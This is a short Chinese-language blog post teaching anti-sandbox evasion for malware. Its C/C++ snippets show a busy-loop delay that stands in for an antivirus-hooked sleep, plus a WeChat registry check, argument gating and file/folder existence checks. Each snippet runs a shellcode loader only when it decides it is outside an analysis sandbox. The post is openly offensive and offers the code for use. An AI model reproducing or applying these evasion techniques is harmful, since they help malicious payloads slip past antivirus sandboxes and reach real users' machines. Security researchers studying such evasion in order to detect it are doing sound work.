抗沙箱

1.沙箱

分为 云沙箱 和 本地沙箱,通过模拟环境运行 EXE 来检测

2.抗沙箱

延时

通过循环打印代替被杀软 Hook 的 sleep 函数

void sleep() {
    char* buffer = (char*)malloc(100000);
    for (int i = 0; i < 300; i++){
        for (int j = 0; j < 100000; j++) {
            printf("%d, %d\n", buffer[j], j);
        }
    }
    free(buffer);
}

特殊环境检测

GitHub - ZanderChang/anti-sandbox: Windows对抗沙箱和虚拟机的方法总结

软件注册表检测

检测是否安装微信

#include <windows.h>

BOOL RegkeyExist(HKEY hKey, wchar_t* regkey_s) {
    HKEY regkey;
    DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
    if (ret == ERROR_SUCCESS) {
        RegCloseKey(regkey);
        return TRUE;
    }
    return FALSE;
}

int main() {
    if (RegkeyExist(HKEY_LOCAL_MACHINE, _wcsdup(L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))) {
        LoadShellcode();
    }
}

自构造环境检测

传参检测

#include <iostream>

int main(int argc, char* argv[]) {
    if (argc >= 3) {
        if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
            LoadShellCode();
        }
    }
}

文件检测

#include <windows.h>

// 检测文件是否存在
BOOL isFileExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath); 
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

// 检测文件夹是否存在
BOOL isDirExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath);
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && (dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

int main() {
    if (isFileExists(_wcsdup(L"1.txt")) && isDirExists(_wcsdup(L"1"))) {
        LoadShellcode();
    }
}

网络控制

通过网络控制运行时机

posted @ 2023-03-07 22:45  Hacker&Cat  阅读(301)  评论(0编辑  收藏  举报